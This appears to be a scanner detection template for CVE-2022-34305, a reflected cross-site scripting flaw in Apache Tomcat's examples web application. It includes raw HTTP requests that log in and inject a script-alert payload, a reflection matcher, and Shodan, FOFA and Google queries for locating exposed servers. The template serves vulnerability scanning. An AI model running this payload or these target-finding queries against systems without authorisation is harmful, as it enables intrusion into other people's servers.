CVE-2022-34305: Apache Tomcat Examples Web Application - Cross-Site Scripting

id: CVE-2022-34305

info:
  name: Apache Tomcat Examples Web Application - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    Apache Tomcat 8.5.50 to 8.5.81, 9.0.30 to 9.0.64, 10.0.0-M1 to 10.0.22, and 10.1.0-M1 to 10.1.0-M16 contain a reflected cross-site scripting caused by displaying unfiltered user data in the Form authentication example, letting attackers execute scripts in victim browsers, exploit requires attacker to craft malicious input.
  impact: |
    Attackers can execute malicious scripts in victim browsers, leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to the latest version of Apache Tomcat where this issue is fixed.
  reference:
    - https://nvd.nist.gov/vuln/detail/cve-2022-34305
    - https://github.com/zeroc00I/CVE-2022-34305
    - https://lists.apache.org/thread/k04zk0nq6w57m72w5gb0r6z9ryhmvr4k
    - https://security.gentoo.org/glsa/202208-34
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-34305
    cwe-id: CWE-79
    epss-score: 0.06714
    epss-percentile: 0.93578
    cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: apache
    product: tomcat
    shodan-query:
      - cpe:"cpe:2.3:a:apache:tomcat"
      - http.component:"apache tomcat"
    fofa-query: body="apache tomcat"
    google-query: site:*/examples/jsp/snp/snoop.jsp
  tags: cve,cve2022,xss,apache,tomcat,authenticated,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /examples/jsp/security/protected/index.jsp HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: jsessionid_form
        group: 1
        regex:
          - "action='j_security_check;jsessionid=([A-Z0-9]+)'"
        internal: true

  - raw:
      - |
        POST /examples/jsp/security/protected/j_security_check;jsessionid={{jsessionid_form}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        j_username={{username}}&j_password={{password}}

      - |
        GET /examples/jsp/security/protected/index.jsp?dataName=%3Cscript%3Ealert(document.domain)%3C/script%3E&dataValue=demo HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
        condition: and
# digest: 490a0046304402201670105d0743ce49793c9a284fe825597eddbc7771a58833e9155895db9bca5402206c36f10d0775d5fe3f6a67977091715f537adb385be2c4b7006eddc033321f85:922c64590222798bb761d5b6d8e72950

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